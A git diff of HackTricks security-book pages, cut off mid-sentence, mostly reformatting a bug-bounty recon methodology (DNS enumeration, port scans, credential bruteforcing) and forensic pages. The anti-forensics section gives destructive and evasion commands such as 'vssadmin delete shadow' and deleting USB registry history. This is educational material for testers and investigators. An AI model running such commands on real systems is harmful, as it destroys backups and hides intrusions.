NCC**](https://www.ripe.net) **(Europe). Anyway, probably all the** useful information **(IP ranges and Whois)** appears already in the first link. ```bash #You can try "automate" this with amass, but it's not very recommended @@ -42,14 +42,14 @@ amass intel -org tesla amass intel -asn 8911,50313,394161 ``` -You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com/) \(it has free API\). -You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com/). +You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\ +You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com). ### Looking for vulnerabilities -At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** \(Nessus, OpenVAS\) over all the hosts. -Also, you could launch some [**port scans**](../pentesting/pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible service running**. -Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\ +Also, you could launch some [**port scans**](../pentesting/pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible service running**.**\ +**Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). ## Domains @@ -57,11 +57,11 @@ Also, It could be worth it to mention that you can also prepare some** default u _Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._ -First of all you should look for the **main domain**\(s\) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. +First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. ### Reverse DNS -As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server \(1.1.1.1, 8.8.8.8\) +As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8) ```bash dnsrecon -r -n #DNS reverse of all of the addresses @@ -70,38 +70,38 @@ dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` -For this to work, the administrator has to enable manually the PTR. -You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com/) +For this to work, the administrator has to enable manually the PTR.\ +You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com) -### Reverse Whois \(loop\) +### Reverse Whois (loop) -Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** \(for example other whois registries where the same email appears\). +Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\ You can use online tools like: * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free** * [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Free** -* [https://www.reversewhois.io/](https://www.reversewhois.io/) - **Free** -* [https://www.whoxy.com/](https://www.whoxy.com/) - **Free** web, not free API. -* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com/) - Not free -* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free \(only **100 free** searches\) -* [https://www.domainiq.com/](https://www.domainiq.com/) - Not Free +* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Free** +* [https://www.whoxy.com/](https://www.whoxy.com) - **Free** web, not free API. +* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Not free +* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free (only **100 free** searches) +* [https://www.domainiq.com/](https://www.domainiq.com) - Not Free -You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)\(requires a whoxy API key\). +You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\ You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` **Note that you can use this technique to discover more domain names every time you find a new domain.** ### Trackers -If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**. +If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\ For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. There are some pages that let you search by these trackers and more: -* [**BuiltWith**](https://builtwith.com/) -* [**Sitesleuth**](https://www.sitesleuth.io/) -* [**Publicwww**](https://publicwww.com/) -* [**SpyOnWeb**](http://spyonweb.com/) +* [**BuiltWith**](https://builtwith.com) +* [**Sitesleuth**](https://www.sitesleuth.io) +* [**Publicwww**](https://publicwww.com) +* [**SpyOnWeb**](http://spyonweb.com) ### **Favicon** @@ -128,7 +128,7 @@ You could access the **TLS certificate** of the main web page, obtain the **Orga #### Google -Go to the main page an find something that identifies the company, like the copyright \("Tesla © 2020"\). Search for that in google or other browsers to find possible new domains/pages. +Go to the main page an find something that identifies the company, like the copyright ("Tesla © 2020"). Search for that in google or other browsers to find possible new domains/pages. #### Assetfinder @@ -136,9 +136,9 @@ Go to the main page an find something that identifies the company, like the copy ### Looking for vulnerabilities -Check for some [domain takeover](../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it \(if cheap enough\) and let know the company. +Check for some [domain takeover](../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. -If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** \(using Nessus or OpenVAS\) and some [**port scan**](../pentesting/pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**. +If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting/pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ _Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ ## Subdomains @@ -149,7 +149,7 @@ It's time to find all the possible subdomains of each found domain. ### DNS -Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** \(If vulnerable, you should report it\). +Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it). ```bash dnsrecon -a -d tesla.com @@ -159,7 +159,7 @@ dnsrecon -a -d tesla.com The fastest way to obtain a lot of subdomains is search in external sources. I'm not going to discuss which sources are the bests and how to use them, but you can find here several utilities: [https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/14/subdomains-enumeration-cheatsheet.html) -A really good place to search for subdomains is [https://crt.sh/](https://crt.sh/). +A really good place to search for subdomains is [https://crt.sh/](https://crt.sh). The most used tools are [**Amass**](https://github.com/OWASP/Amass)**,** [**subfinder**](https://github.com/projectdiscovery/subfinder)**,** [**findomain**](https://github.com/Edu4rdSHL/findomain/)**,** [**OneForAll**](https://github.com/shmilylty/OneForAll/blob/master/README.en.md)**,** [**assetfinder**](https://github.com/tomnomnom/assetfinder)**,** [**Sudomy**](https://github.com/Screetsec/Sudomy)**,** [**Crobat**](https://github.com/cgboal/sonarsearch)**.** I would recommend to start using them configuring the API keys, and then start testing other tools or possibilities. @@ -178,13 +178,13 @@ Another possibly interesting tool is [**gau**](https://github.com/lc/gau)**.** I This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) -You could also find subdomains scrapping the web pages and parsing them \(including JS files\) searching for subdomains using [SubDomainizer](https://github.com/nsonaniya2010/SubDomainizer) or [subscraper](https://github.com/Cillian-Collins/subscraper). +You could also find subdomains scrapping the web pages and parsing them (including JS files) searching for subdomains using [SubDomainizer](https://github.com/nsonaniya2010/SubDomainizer) or [subscraper](https://github.com/Cillian-Collins/subscraper). #### RapidDNS -Quickly find subdomains using [RapidDNS](https://rapiddns.io/) API \(from [link](https://twitter.com/Verry__D/status/1282293265597779968)\): +Quickly find subdomains using [RapidDNS](https://rapiddns.io) API (from [link](https://twitter.com/Verry\_\_D/status/1282293265597779968)): -```text +``` rapiddns(){ curl -s "https://rapiddns.io/subdomain/$1?full=1" \ | grep -oP '_blank">\K[^<]*' \ @@ -198,12 +198,12 @@ curl -s "https://rapiddns.io/subdomain/$1?full=1" \ You found **dev-int.bigcompanycdn.com**, make a Shodan query like the following: * http.html:”dev-int.bigcompanycdn.com” -* http.html:”[https://dev-int-bigcompanycdn.com”](https://dev-int-bigcompanycdn.com”) +* http.html:”[https://dev-int-bigcompanycdn.com”](https://dev-int-bigcompanycdn.xn--com-9o0a) ### DNS Brute force -Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names. -The most recommended tools for this are [**massdns**](https://github.com/blechschmidt/massdns)**,** [**gobuster**](https://github.com/OJ/gobuster)**,** [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) **and** [**shuffledns**](https://github.com/projectdiscovery/shuffledns). The first one is faster but more prone to errors \(you should always check for **false positives**\) and the second one **is more reliable** \(always use gobuster\). +Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names.\ +The most recommended tools for this are [**massdns**](https://github.com/blechschmidt/massdns)**,** [**gobuster**](https://github.com/OJ/gobuster)**,** [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) **and** [**shuffledns**](https://github.com/projectdiscovery/shuffledns). The first one is faster but more prone to errors (you should always check for **false positives**) and the second one **is more reliable** (always use gobuster). For this action you will need some common subdomains lists like: @@ -227,7 +227,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt puredns bruteforce all.txt domain.com ``` -Note how these tools require a **list of IPs of public DNSs**. If these public DNSs are malfunctioning \(DNS poisoning for example\) you will get bad results. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. +Note how these tools require a **list of IPs of public DNSs**. If these public DNSs are malfunctioning (DNS poisoning for example) you will get bad results. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. ### VHosts / Virtual Hosts @@ -269,7 +269,7 @@ Once you have finished looking for subdomains you can use [**dnsgen**](https://g ### Buckets Brute Force -While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../pentesting/pentesting-web/buckets/)**.** +While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../pentesting/pentesting-web/buckets/)**.**\ Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../pentesting/pentesting-web/buckets/). ### Monitorization @@ -278,10 +278,10 @@ You can **monitor** if **new subdomains** of a domain are created by monitoring ### Looking for vulnerabilities -Check for possible [**subdomain takeovers**](../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover). +Check for possible [**subdomain takeovers**](../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../pentesting/pentesting-web/buckets/). -If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** \(using Nessus or OpenVAS\) and some [**port scan**](../pentesting/pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**. +If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting/pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ _Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ ## Web servers hunting @@ -290,10 +290,10 @@ _Note that sometimes the subdomain is hosted inside an IP that is not controlled In the previous steps you have probably already performed some **recon of the IPs and domains discovered**, so you may have **already found all the possible web servers**. However, if you haven't we are now going to see some **fast tricks to search for web servers** inside the scope. -Please, note that this will be **oriented for web apps discovery**, so you should **perform the vulnerability** and **port scanning** also \(**if allowed** by the scope\). +Please, note that this will be **oriented for web apps discovery**, so you should **perform the vulnerability** and **port scanning** also (**if allowed** by the scope). -A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting/pentesting-network/#http-port-discovery). -Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe) **and** [**fprobe**](https://github.com/theblackturtle/fprobe). You just pass a list of domains and it will try to connect to port 80 \(http\) and 443 \(https\). Additionaly, you can indicate to try other ports: +A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting/pentesting-network/#http-port-discovery).\ +Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe) **and** [**fprobe**](https://github.com/theblackturtle/fprobe). You just pass a list of domains and it will try to connect to port 80 (http) and 443 (https). Additionaly, you can indicate to try other ports: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 @@ -302,34 +302,36 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### Screenshots -Now that you have discovered **all the web servers** present in the scope \(among the **IPs** of the company and all the **domains** and **subdomains**\) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**. +Now that you have discovered **all the web servers** present in the scope (among the **IPs** of the company and all the **domains** and **subdomains**) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**. -To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), **\*\*\[**shutter**\]\(**[https://shutter-project.org/downloads/](https://shutter-project.org/downloads/)**\) \*\***or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** +To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), **\*\*\[**shutter**]\(**[https://shutter-project.org/downloads/](https://shutter-project.org/downloads/)**) \*\***or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** ## Cloud Assets -Just with some **specific keywords** identifying the company it's possible to enumerate possible cloud assets belonging to them with tools like [**cloud\_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper) **or** [**cloudlist**](https://github.com/projectdiscovery/cloudlist)**.** +Just with some **specific keywords** identifying the company it's possible to enumerate possible cloud assets belonging to them with tools like [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper) **or** [**cloudlist**](https://github.com/projectdiscovery/cloudlist)**.** ## Recapitulation 1 -> Congratulations! At this point you have already perform all the basic enumeration. Yes, it's basic because a lot more enumeration can be done \(will see more tricks later\). +> Congratulations! At this point you have already perform all the basic enumeration. Yes, it's basic because a lot more enumeration can be done (will see more tricks later).\ > Do you know that the BBs experts recommends to spend only 10-15mins in this phase? But don't worry, one you have practice you will do this even faster than that. So you have already: 1. Found all the **companies** inside the scope -2. Found all the **assets** belonging to the companies \(and perform some vuln scan if in scope\) +2. Found all the **assets** belonging to the companies (and perform some vuln scan if in scope) 3. Found all the **domains** belonging to the companies -4. Found all the **subdomains** of the domains \(any subdomain takeover?\) -5. Found all the **web servers** and took a **screenshot** of them \(anything weird worth a deeper look?\) +4. Found all the **subdomains** of the domains (any subdomain takeover?) +5. Found all the **web servers** and took a **screenshot** of them (anything weird worth a deeper look?) -Then, it's time for the real Bug Bounty hunt! In this methodology I'm **not going to talk about how to scan hosts** \(you can see a [guide for that here](../pentesting/pentesting-network/)\), how to use tools like Nessus or OpenVas to perform a **vuln scan** or how to **look for vulnerabilities** in the services open \(this book already contains tons of information about possible vulnerabilities on a lot of common services\). **But, don't forget that if the scope allows it, you should give it a try.** +Then, it's time for the real Bug Bounty hunt! In this methodology I'm **not going to talk about how to scan hosts** (you can see a [guide for that here](../pentesting/pentesting-network/)), how to use tools like Nessus or OpenVas to perform a **vuln scan** or how to **look for vulnerabilities** in the services open (this book already contains tons of information about possible vulnerabilities on a lot of common services). **But, don't forget that if the scope allows it, you should give it a try.** ## Github leaked secrets -{% page-ref page="github-leaked-secrets.md" %} +{% content-ref url="github-leaked-secrets.md" %} +[github-leaked-secrets.md](github-leaked-secrets.md) +{% endcontent-ref %} -You can also search for leaked secrets in all open repository platforms using: [https://searchcode.com/?q=auth\_key](https://searchcode.com/?q=auth_key) +You can also search for leaked secrets in all open repository platforms using: [https://searchcode.com/?q=auth_key](https://searchcode.com/?q=auth_key) ## [**Pentesting Web Methodology**](../pentesting/pentesting-web/) @@ -339,7 +341,7 @@ Anyway, the **majority of the vulnerabilities** found by bug hunters resides ins > Congratulations! The testing has finished! I hope you have find some vulnerabilities. -At this point you should have already read the Pentesting Web Methodology and applied it to the scope. +At this point you should have already read the Pentesting Web Methodology and applied it to the scope.\ As you can see there is a lot of different vulnerabilities to search for. **If you have find any vulnerability thanks to this book, please reference the book in your write-up.** @@ -355,5 +357,4 @@ There are several tools out there that will perform part of the proposed actions ## **References** -* **All free courses of** [**@Jhaddix**](https://twitter.com/Jhaddix) **\(like** [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)**\)** - +* **All free courses of** [**@Jhaddix**](https://twitter.com/Jhaddix) **(like** [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)**)** diff --git a/forensics/basic-forensic-methodology/README.md b/forensics/basic-forensic-methodology/README.md index d1b2b619..e657a3e5 100644 --- a/forensics/basic-forensic-methodology/README.md +++ b/forensics/basic-forensic-methodology/README.md @@ -1,72 +1,94 @@ # Basic Forensic Methodology {% hint style="danger" %} -Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**? -[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** +Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?\ +[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop)** so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!** {% endhint %} -If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** -If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. +If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks **or** PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ +If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to** give ⭐** on **github** to **motivate** **me** to continue developing this book. -In this section of the book we are going to learn about some **useful forensics tricks**. +In this section of the book we are going to learn about some **useful forensics tricks**.\ We are going to talk about partitions, file-systems, carving, memory, logs, backups, OSs, and much more. So if you are doing a professional forensic analysis to some data or just playing a CTF you can find here useful interesting tricks. ## Creating and Mounting an Image -{% page-ref page="image-adquisition-and-mount.md" %} +{% content-ref url="image-adquisition-and-mount.md" %} +[image-adquisition-and-mount.md](image-adquisition-and-mount.md) +{% endcontent-ref %} ## Malware Analysis This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: -{% page-ref page="malware-analysis.md" %} +{% content-ref url="malware-analysis.md" %} +[malware-analysis.md](malware-analysis.md) +{% endcontent-ref %} ## Inspecting an Image -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** \(even deleted ones\). Learn how in: +if you are given a **forensic image** of a device you can start** analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: -{% page-ref page="partitions-file-systems-carving/" %} +{% content-ref url="partitions-file-systems-carving/" %} +[partitions-file-systems-carving](partitions-file-systems-carving/) +{% endcontent-ref %} Depending on the used OSs and even platform different interesting artifacts should be searched: -{% page-ref page="windows-forensics/" %} +{% content-ref url="windows-forensics/" %} +[windows-forensics](windows-forensics/) +{% endcontent-ref %} -{% page-ref page="linux-forensics.md" %} +{% content-ref url="linux-forensics.md" %} +[linux-forensics.md](linux-forensics.md) +{% endcontent-ref %} -{% page-ref page="docker-forensics.md" %} +{% content-ref url="docker-forensics.md" %} +[docker-forensics.md](docker-forensics.md) +{% endcontent-ref %} ## Deep inspection of specific file-types and Software -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful. +If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ Read the following page to learn some interesting tricks: -{% page-ref page="specific-software-file-type-tricks/" %} +{% content-ref url="specific-software-file-type-tricks/" %} +[specific-software-file-type-tricks](specific-software-file-type-tricks/) +{% endcontent-ref %} I want to do a special mention to the page: -{% page-ref page="specific-software-file-type-tricks/browser-artifacts.md" %} +{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %} +[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md) +{% endcontent-ref %} ## Memory Dump Inspection -{% page-ref page="memory-dump-analysis/" %} +{% content-ref url="memory-dump-analysis/" %} +[memory-dump-analysis](memory-dump-analysis/) +{% endcontent-ref %} ## Pcap Inspection -{% page-ref page="pcap-inspection/" %} +{% content-ref url="pcap-inspection/" %} +[pcap-inspection](pcap-inspection/) +{% endcontent-ref %} ## **Anti-Forensic Techniques** Keep in mind the possible use of anti-forensic techniques: -{% page-ref page="anti-forensic-techniques.md" %} +{% content-ref url="anti-forensic-techniques.md" %} +[anti-forensic-techniques.md](anti-forensic-techniques.md) +{% endcontent-ref %} ## Threat Hunting -{% page-ref page="file-integrity-monitoring.md" %} - - +{% content-ref url="file-integrity-monitoring.md" %} +[file-integrity-monitoring.md](file-integrity-monitoring.md) +{% endcontent-ref %} diff --git a/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 4303865f..780543ba 100644 --- a/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -2,10 +2,10 @@ ## Timestamps -An attacker may be interested in **changing the timestamps of files** to avoid being detected. -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` __and __`$FILE_NAME`. +An attacker may be interested in** changing the timestamps of files** to avoid being detected.\ +It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION`_ _and_ _`$FILE_NAME`. -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** \(MACE or MACB\). +Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). **Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. @@ -15,26 +15,26 @@ This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION ### Usnjrnl -The **USN Journal** \(Update Sequence Number Journal\), or Change Journal, is a feature of the Windows NT file system \(NTFS\) which **maintains a record of changes made to the volume**. +The **USN Journal** (Update Sequence Number Journal), or Change Journal, is a feature of the Windows NT file system (NTFS) which **maintains a record of changes made to the volume**.\ It's possible to use the tool [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) to search for modifications of this record. -![](../../.gitbook/assets/image%20%28453%29.png) +![](<../../.gitbook/assets/image (449).png>) The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. ### $LogFile -All metadata changes to a file system are logged to ensure the consistent recovery of critical file system structures after a system crash. This is called [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). -The logged metadata is stored in a file called “**$LogFile**”, which is found in a root directory of an NTFS file system. +All metadata changes to a file system are logged to ensure the consistent recovery of critical file system structures after a system crash. This is called [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging).\ +The logged metadata is stored in a file called “**$LogFile**”, which is found in a root directory of an NTFS file system.\ It's possible to use tools like [LogFileParser](https://github.com/jschicht/LogFileParser) to parse this file and find changes. -![](../../.gitbook/assets/image%20%28450%29.png) +![](<../../.gitbook/assets/image (450).png>) Again, in the output of the tool it's possible to see that **some changes were performed**. Using the same tool it's possible to identify to **which time the timestamps were modified**: -![](../../.gitbook/assets/image%20%28451%29.png) +![](<../../.gitbook/assets/image (451).png>) * CTIME: File's creation time * ATIME: File's modification time @@ -59,18 +59,18 @@ NFTS uses a cluster and the minimum information size. That means that if a file There are tools like slacker that allows to hide data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: -![](../../.gitbook/assets/image%20%28454%29.png) +![](<../../.gitbook/assets/image (452).png>) Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this can of tools can save the content obfuscated or even encrypted. ## UsbKill -This is a tool that will **turn off the computer is any change in the USB** ports is detected. -A way to discover this would be to inspect the running processes and **review each python script running**. +This is a tool that will **turn off the computer is any change in the USB** ports is detected.\ +A way to discover this would be to inspect the running processes and** review each python script running**. ## Live Linux Distributions -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +These distros are **executed inside the RAM** memory. The only way to detect them is** in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. ## Secure Deletion @@ -96,28 +96,28 @@ This will save information about the applications executed with the goal of impr * Rexecute `regedit` * Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` * Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -* Select Modify on each of these to change the value from 1 \(or 3\) to 0 +* Select Modify on each of these to change the value from 1 (or 3) to 0 * Restart ### Disable Timestamps - Last Access Time Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. -1. Open the Registry Editor \(Regedit.exe\). +1. Open the Registry Editor (Regedit.exe). 2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. 3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. 4. Close the Registry Editor, and reboot the server. ### Delete USB History -All the **USB Device Entries** are stored in Windows Registry Under **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device in your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history. -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them \(and to delete them\). +All the **USB Device Entries** are stored in Windows Registry Under **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device in your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ +You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. ### Disable Shadow Copies -**List** shadow copies with `vssadmin list shadowstorage` +**List** shadow copies with `vssadmin list shadowstorage`\ **Delete** them running `vssadmin delete shadow` You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) @@ -125,21 +125,21 @@ You can also delete them via GUI following the steps proposed in [https://www.ub To disable shadow copies: 1. Go to the Windows start button and type 